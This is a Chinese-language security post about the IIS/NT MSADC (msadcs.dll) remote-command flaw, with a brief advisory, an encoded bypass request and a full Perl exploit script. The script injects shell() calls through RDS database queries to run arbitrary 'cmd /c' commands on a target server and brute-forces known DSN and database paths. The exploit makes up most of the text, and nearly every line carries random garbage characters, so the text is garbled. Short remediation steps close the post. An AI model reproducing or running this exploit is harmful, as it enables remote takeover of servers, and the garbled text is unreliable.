IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
c L}}^ YYwFjA@ 涉及程序:
W;en7v;#I} Microsoft NT server
-\xNuU PRcW}"m]Qg 描述:
%H Pwu & 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
~fbFA?g3 ^u`1W^> 详细:
'|V"!R) 如果你没有时间读详细内容的话,就删除:
,\ [R\s c:\Program Files\Common Files\System\Msadc\msadcs.dll
YMx]i,u'+ 有关的安全问题就没有了。
f-&4x_5 VgLrufJ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
#lXwBfBMf :23w[vt= 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
".Z|zt6C 关于利用ODBC远程漏洞的描述,请参看:
aGY R:jR$ (
`T;nz http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm #m[R1G# s>hNwb/ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
*\><MXx http://www.microsoft.com/security/bulletins/MS99-025faq.asp
g93-2k, ;G_{$)P.o 这里不再论述。
eK[8$1 `5,46_ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
b8Gu<Q1k r&6X|2@ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
=wbgZr^2 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
\2F{r<A\@ P]w5`aBM "X<vgM^: #将下面这段保存为txt文件,然后: "perl -x 文件名"
X}x"+#\<@ ObJgJr #!perl
C],"va #
=Ji+GJ<,9 # MSADC/RDS 'usage' (aka exploit) script
;Qe-y|> #
wj$l 093 # by rain.forest.puppy
@$o.Z;83`r #
x UM,"+h # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
otTv,T182 # beta test and find errors!
?Vg251-H jNRR=0 use Socket; use Getopt::Std;
&5k$v^W5 getopts("e:vd:h:XR", \%args);
HoE@t-S tbMf_-g print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
5qZebD2a zl8O @g if (!defined $args{h} && !defined $args{R}) {
n$]78\C print qq~
2Iv&XxSo Usage: msadc.pl -h <host> { -d <delay> -X -v }
S~L;oX?(! -h <host> = host you want to scan (ip or domain)
v__n>*x -d <seconds> = delay between calls, default 1 second
iF0x>pvJ@ -X = dump Index Server path table, if available
X+6`]] -v = verbose
gt]k#(S -e = external dictionary file for step 5
I?y!d
G LdAWCBLS Or a -R will resume a command session
:@x_& b \_GG6 ~; exit;}
:'hc&wk` ">zK1t5= $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Tnd)4}2p if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
2H\}N^;f if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
*GUQz if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
X8m@xFW} $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
(tG8HwV- if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
~bC-0^/
8| wAt|'wP
: if (!defined $args{R}){ $ret = &has_msadc;
YCMXF#1 die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
G#uD CF,O \B\G=Y print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Ui:WbH<b{ . "cmd /c ";
7dxe03h $in=<STDIN>; chomp $in;
ohLM9mc9 $command="cmd /c " . $in ;
,#/%Fn%T ERka l7+ if (defined $args{R}) {&load; exit;}
>oD,wSYV~ 10gh4,z[ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
&7-ENg9 [ &try_btcustmr;
A[7\!bq5 p"'knZG print "\nStep 2: Trying to make our own DSN...";
U!y GZEU"[ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
FqWW[Bgd ./7*<W: print "\nStep 3: Trying known DSNs...";
m[>pv1o &known_dsn;
s:O8d L
/ Fy6(N{hql print "\nStep 4: Trying known .mdbs...";
!4Oj^yy% &known_mdb;
|!Uul0O x^sSAI( if (defined $args{e}){
eE=}^6)(* print "\nStep 5: Trying dictionary of DSN names...";
A r=P;6J &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
ZBY*C;[)*P dp|VQWCq print "Sorry Charley...maybe next time?\n";
jV
'u*2&9 exit;
D*_Z"q_B xU6rZCqE ##############################################################################
BE$Wj;Q S'
<X) sub sendraw { # ripped and modded from whisker
6P$jMjs sleep($delay); # it's a DoS on the server! At least on mine...
uUIjntSF( my ($pstr)=@_;
1#w'<}h#U socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
k00&+C die("Socket problems\n");
E[=#Rw!* if(connect(S,pack "SnA4x8",2,80,$target)){
{9c_T!c select(S); $|=1;
jtH>&O print $pstr; my @in=<S>;
N{}o*K select(STDOUT); close(S);
[<nmJ-V return @in;
C
CDO8 } else { die("Can't connect...\n"); }}
cVYPPal }+/F?_I=
% ##############################################################################
R9q9cBi3 y 1I(^<qO= sub make_header { # make the HTTP request
8
*Y(wqH my $msadc=<<EOT
eaWK2%v POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
Z@ dS,M* User-Agent: ACTIVEDATA
hY(q@_s Host: $ip
#qcF2&a% Content-Length: $clen
EYy|JT]B Connection: Keep-Alive
}i F|NIV BD_"w]bqD ADCClientVersion:01.06
yhsbso,5 a Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
j
e;^i,& =XhxD<kI --!ADM!ROX!YOUR!WORLD!
.-mlV ^ Content-Type: application/x-varg
9Od|R"aS| Content-Length: $reqlen
qmF+@R&^i .L=C7 w1 EOT
=7vbcAJ\ ; $msadc=~s/\n/\r\n/g;
D,,$ return $msadc;}
*eEn8rAr B*;PF ##############################################################################
U|jip1\ .a_xQ]eQ sub make_req { # make the RDS request
IKFNu9*"h my ($switch, $p1, $p2)=@_;
KB`">zq$u my $req=""; my $t1, $t2, $query, $dsn;
8(@Y@`/ '-2|GX_o if ($switch==1){ # this is the btcustmr.mdb query
j"4]iI+ {" $query="Select * from Customers where City=" . make_shell();
hmES@^n!_ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
;kLp}CqV $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
PBY;SG~ SrT=XX, elsif ($switch==2){ # this is general make table query
6xW17P $query="create table AZZ (B int, C varchar(10))";
KkPr08 $dsn="$p1";}
/zTx+U.\I oFDJwOJ'Bj elsif ($switch==3){ # this is general exploit table query
!4"<:tSO $query="select * from AZZ where C=" . make_shell();
jlM%Y
ZC $dsn="$p1";}
|Qz"Z<sNYw ~|R/w%*C elsif ($switch==4){ # attempt to hork file info from index server
|QO)xEn~ $query="select path from scope()";
r34 GO1d $dsn="Provider=MSIDXS;";}
J]gtgt^ ZK?:w^Z elsif ($switch==5){ # bad query
,/Yo1@U $query="select";
Lv<)Dur0K $dsn="$p1";}
_n12Wx{ FX&)~) $t1= make_unicode($query);
p}MH LM $t2= make_unicode($dsn);
:}+m[g $req = "\x02\x00\x03\x00";
fK1^fzV $req.= "\x08\x00" . pack ("S1", length($t1));
J?[}h&otQ $req.= "\x00\x00" . $t1 ;
wrEYbb $req.= "\x08\x00" . pack ("S1", length($t2));
2`cVi"U $req.= "\x00\x00" . $t2 ;
W't.e0L<6 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
rT!9{uK return $req;}
IfF&QBi K/D,sH! ##############################################################################
Y^ti;: -FW'i10\2+ sub make_shell { # this makes the shell() statement
nOdAp4{:q% return "'|shell(\"$command\")|'";}
vy{YGT x5YHmvy/l ##############################################################################
A,f%0
eQR n||!/u)* sub make_unicode { # quick little function to convert to unicode
<^YZ#3~1T my ($in)=@_; my $out;
nH(Hk%~ for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
fud Lm return $out;}
fS- 31<? h@D</2> ##############################################################################
P#x]3j] yL%k5cO$N sub rdo_success { # checks for RDO return success (this is kludge)
}c;h:CE# my (@in) = @_; my $base=content_start(@in);
bl-t>aO*.V if($in[$base]=~/multipart\/mixed/){
("rIz8b return 1 if( $in[$base+10]=~/^\x09\x00/ );}
~8^)[n+)x return 0;}
*
~4m!U_s -"X}
)N2 ##############################################################################
G8ksm2 } 2z=GKV sub make_dsn { # this makes a DSN for us
`Ao;xOJ my @drives=("c","d","e","f");
Zjh9jvsW print "\nMaking DSN: ";
D$[/|%3 foreach $drive (@drives) {
kzcD}?mSS print "$drive: ";
M"$TXXe my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
;r
XhK$ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
%D:5 S?{ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
4uUR2J $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
.+cYzS]! return 0 if $2 eq "404"; # not found/doesn't exist
JI}p{yI if($2 eq "200") {
|uE_aFQs foreach $line (@results) {
pd{;`EW| return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
YJ{d\j } return 0;}
(B zf~#]~ L5*,l`lET ##############################################################################
@tLoU% iAlFgOk' sub verify_exists {
r4c3t,L*$I my ($page)=@_;
=`X;fz my @results=sendraw("GET $page HTTP/1.0\n\n");
uhLg2G^h return $results[0];}
^JMSe- &xqe8!FeA ##############################################################################
: |c,.uO :l>T~&/98 sub try_btcustmr {
cF[[_ my @drives=("c","d","e","f");
qpl "j- my @dirs=("winnt","winnt35","winnt351","win","windows");
9e Dji, >P=xzg79 foreach $dir (@dirs) {
TJB0O]@3 print "$dir -> "; # fun status so you can see progress
ma
}Y\(38 foreach $drive (@drives) {
2/BFlb print "$drive: "; # ditto
':!;6v|L $reqlen=length( make_req(1,$drive,$dir) ) - 28;
t@/r1u|iq $reqlenlen=length( "$reqlen" );
5Wi5`8m $clen= 206 + $reqlenlen + $reqlen;
]~(Ipz2NP ZH%[wQ~4 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
=fHt|}.K if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
cuR|cUK else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
&T}v1c7) U<r<$K ##############################################################################
P
N_QK Z I01On>"@7 sub odbc_error {
@/JGC%! my (@in)=@_; my $base;
DoPm{055J my $base = content_start(@in);
AX1'.
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
7Hpsmfm $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
){>;eky $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
~pj9_I $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
US7hK Nm. return $in[$base+4].$in[$base+5].$in[$base+6];}
_jZDSz|Yb print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Q$,8yTM print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
>CPkL_@VZ= $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
IHo6& %1HW
) 7 ##############################################################################
xm YA/wt8 cp?`\P sub verbose {
mc(&'U8R0I my ($in)=@_;
YQN=.Wtc return if !$verbose;
J&a887 print STDOUT "\n$in\n";}
o D*
' =-`+4zB\ ##############################################################################
2%W(^Lj s !8]CV> sub save {
nfDPM\FFD my ($p1, $p2, $p3, $p4)=@_;
CsSB'+&{ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
4kg9R^0 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
jgbw'BBu close OUT;}
JpDYB 5Cy)#Z{ ##############################################################################
VY _(0 hkU#
lt sub load {
Ky nZzR my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
(I[o;0w open(IN,"<rds.save") || die("Couldn't open rds.save\n");
&7DE$ S @p=<IN>; close(IN);
;5Sr<W\:; $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
_-8,}F}W#s $target= inet_aton($ip) || die("inet_aton problems");
82)d.> print "Resuming to $ip ...";
(Z,,H1L $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
F'j:\F6C; if($p[1]==1) {
)edM@beY_ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
}(tGjx] $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
yJp&A my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
W: ?-d{ if (rdo_success(@results)){print "Success!\n";}
WejY
b;KS else { print "failed\n"; verbose(odbc_error(@results));}}
W&!Yprr elsif ($p[1]==3){
>uuX<\cW if(run_query("$p[3]")){
C#-x 3d-{ print "Success!\n";} else { print "failed\n"; }}
cE*|8'rSf elsif ($p[1]==4){
~!A,I 9 if(run_query($drvst . "$p[3]")){
i2j)%Gc} print "Success!\n"; } else { print "failed\n"; }}
n)K6Z{x exit;}
ldX]A#d. J)fS2Ni+ ##############################################################################
D9LwYftZ Xj/X. sub create_table {
g(5s{njL my ($in)=@_;
Oy|9po $reqlen=length( make_req(2,$in,"") ) - 28;
e8lF$[i $reqlenlen=length( "$reqlen" );
Q49|,ou[H $clen= 206 + $reqlenlen + $reqlen;
[#Yyw8V#< my @results=sendraw(make_header() . make_req(2,$in,""));
vl*RRoJ return 1 if rdo_success(@results);
nlmkkTHF8 my $temp= odbc_error(@results); verbose($temp);
I'@ }Yjm| return 1 if $temp=~/Table 'AZZ' already exists/;
@s
IZ return 0;}
*Cb(4h- S&=B &23T ##############################################################################
!X.N$0 by06!-P0[ sub known_dsn {
_&z>Id`w # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
0"QE,pLe4 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
7CIje=u.q "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
Zwt!nh "banner", "banners", "ads", "ADCDemo", "ADCTest");
8%|x) 'QV4=h` foreach $dSn (@dsns) {
~0}eNz* print ".";
'qM3.U next if (!is_access("DSN=$dSn"));
x9ws@=[: if(create_table("DSN=$dSn")){
& aLR'*]6 print "$dSn successful\n";
v[|iuOU if(run_query("DSN=$dSn")){
9]YmP8 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
cQ8:;-M print "Something's borked. Use verbose next time\n";}}} print "\n";}
y1'/@A1 53T2w,? ##############################################################################
2~@=ua[|=5 sS|zz,y sub is_access {
4Ek<
5s[ my ($in)=@_;
YW}/C wB $reqlen=length( make_req(5,$in,"") ) - 28;
an7N<-? $reqlenlen=length( "$reqlen" );
f@}( <# $clen= 206 + $reqlenlen + $reqlen;
S;c=6@" my @results=sendraw(make_header() . make_req(5,$in,""));
{l6]O my $temp= odbc_error(@results);
W[?B@ sdSZ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
)5t_tPv return 0;}
Qpc{7#bp ~8X'p6 ##############################################################################
LH_ 2oJ\ CeJ|z{F\ sub run_query {
A:!{+ my ($in)=@_;
hB.dqv]^ $reqlen=length( make_req(3,$in,"") ) - 28;
j;y|Ys)I $reqlenlen=length( "$reqlen" );
c1<g!Q&E $clen= 206 + $reqlenlen + $reqlen;
7/1S5yUr| my @results=sendraw(make_header() . make_req(3,$in,""));
?~K2&eo return 1 if rdo_success(@results);
P:=ADW c my $temp= odbc_error(@results); verbose($temp);
B';Ob return 0;}
]@P*&FRcZ DEs?xl]zO ##############################################################################
/{U{smtdFl %G@aZWk
Sa sub known_mdb {
@$*c0.
|z my @drives=("c","d","e","f","g");
96.Wfx my @dirs=("winnt","winnt35","winnt351","win","windows");
<#Lw.;(U;k my $dir, $drive, $mdb;
h>/ViB@"W| my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
vuZ<'?Nm L~$RF {$ # this is sparse, because I don't know of many
oN$ZZk
R my @sysmdbs=( "\\catroot\\icatalog.mdb",
(NQ[AypMI "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
FX^E | "\\system32\\certmdb.mdb",
c5;ROnTm "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
3u^TJt) (wfg84 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
p\WUk@4 "\\cfusion\\cfapps\\forums\\forums_.mdb",
7S`H?},sR "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
qcot
T\rq "\\cfusion\\cfapps\\security\\realm_.mdb",
a#IJ<^[8 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
kC0!`$<2f) "\\cfusion\\database\\cfexamples.mdb",
E;4a(o]{t "\\cfusion\\database\\cfsnippets.mdb",
_~kcr5 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
i/~J0qQ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
P Cf|^X#B "\\cfusion\\brighttiger\\database\\cleam.mdb",
wl%1B64
"\\cfusion\\database\\smpolicy.mdb",
LJy'wl "\\cfusion\\database\cypress.mdb",
54{"ni2a "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
rA`\we) "\\website\\cgi-win\\dbsample.mdb",
,fw[ J "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
J]0#M:w& "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
0- UeFy ); #these are just
{P-PH$ E- foreach $drive (@drives) {
a)1,/:7' foreach $dir (@dirs){
a}K+w7VY\ foreach $mdb (@sysmdbs) {
l)8 V:MK print ".";
-?RQ%Ue if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
#+;=ijyF print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
taQ[>x7b if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
T_uuFL print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
O5Lv:qAa } else { print "Something's borked. Use verbose next time\n"; }}}}}
;]Aa YiTp-@$} foreach $drive (@drives) {
t}7wRTG foreach $mdb (@mdbs) {
m}9V@@ print ".";
v#|c.<]. if(create_table($drv . $drive . $dir . $mdb)){
z aF0nov print "\n" . $drive . $dir . $mdb . " successful\n";
}WbN) if(run_query($drv . $drive . $dir . $mdb)){
76b7-Nj" print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
1Tq$ E[ } else { print "Something's borked. Use verbose next time\n"; }}}}
fF("c6:w( }
Xoy 1Gi? ~@D%qbN ##############################################################################
x]oQl^F d_uy;-3 sub hork_idx {
`5Btg.
& print "\nAttempting to dump Index Server tables...\n";
Lf#G?]@ print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
_6!/}Fm $reqlen=length( make_req(4,"","") ) - 28;
aS vE $reqlenlen=length( "$reqlen" );
(NdgF+'= $clen= 206 + $reqlenlen + $reqlen;
kZ9<j+. my @results=sendraw2(make_header() . make_req(4,"",""));
<6C9R> if (rdo_success(@results)){
j>xVy]v= | my $max=@results; my $c; my %d;
?+5{HFx for($c=19; $c<$max; $c++){
I_G>W3 $results[$c]=~s/\x00//g;
iyYY)roB $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
h50StZ8Yr $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
nZCpT
|M5 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
]$*{< $d{"$1$2"}="";}
1H=wl=K foreach $c (keys %d){ print "$c\n"; }
e@=[+iJc } else {print "Index server doesn't seem to be installed.\n"; }}
7omGg~!k( i4n
b# ##############################################################################
Oq,.Kz 1bg@[YN!; sub dsn_dict {
TRLeZ0EC open(IN, "<$args{e}") || die("Can't open external dictionary\n");
t`T\d\ while(<IN>){
"g%:#'5 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
|OZ>/l { next if (!is_access("DSN=$dSn"));
xzl4v=7 if(create_table("DSN=$dSn")){
~'J =!Xy print "$dSn successful\n";
LGRO En<*d if(run_query("DSN=$dSn")){
P0 ltN print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
)O@^H print "Something's borked. Use verbose next time\n";}}}
~f10ZB_k>' print "\n"; close(IN);}
\'+{X(] o
U}t'WU ##############################################################################
`qDz=,)WP ,{?bM sub sendraw2 { # ripped and modded from whisker
&JhIn%=- sleep($delay); # it's a DoS on the server! At least on mine...
-ouJf}#R my ($pstr)=@_;
kgI=0W> socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
@P"`=BU& die("Socket problems\n");
:Q
?J}N if(connect(S,pack "SnA4x8",2,80,$target)){
5**5b9bj-9 print "Connected. Getting data";
@MZ6E$I open(OUT,">raw.out"); my @in;
# )mkD4 select(S); $|=1; print $pstr;
2${,%8"0s while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
V\K
m% vP close(OUT); select(STDOUT); close(S); return @in;
K-5"# } else { die("Can't connect...\n"); }}
_jrA?pY {<}I9D5 ##############################################################################
B N*,!fx IEoR7: sub content_start { # this will take in the server headers
_`@Xy!Ye my (@in)=@_; my $c;
+z(,A for ($c=1;$c<500;$c++) {
m0A@jWgd if($in[$c] =~/^\x0d\x0a/){
B#GZmv1 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
!qXq
y}?w else { return $c+1; }}}
GQ-e$D@SfB return -1;} # it should never get here actually
[> &+*c ?X_0Iy}1 ##############################################################################
)_b@~fC '5xuT _ sub funky {
Ec*--]j*c my (@in)=@_; my $error=odbc_error(@in);
$qlqWy-s if($error=~/ADO could not find the specified provider/){
t66f 7AR print "\nServer returned an ADO miscofiguration message\nAborting.\n";
oa&US_ exit;}
m>uI\OY{n if($error=~/A Handler is required/){
Tc3ih~LvG print "\nServer has custom handler filters (they most likely are patched)\n";
z<[.MH`ln exit;}
U.pr} hq if($error=~/specified Handler has denied Access/){
4-M6C 5#. print "\nServer has custom handler filters (they most likely are patched)\n";
W}R= exit;}}
+wz`_i)! [Yx-l;78 ##############################################################################
/R(U>pZ 8g#
Y sub has_msadc {
v[,v{5b my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
R5NRCI my $base=content_start(@results);
7<R6T9g return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
C*{15!d:G return 0;}
##`;Eh0a U/3e,`c ########################
nF. ;LM yo?g"vbE &Qtp"#{ 解决方案:
f=_Bx2ub 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
lNh=>DPu 2、移除web 目录: /msadc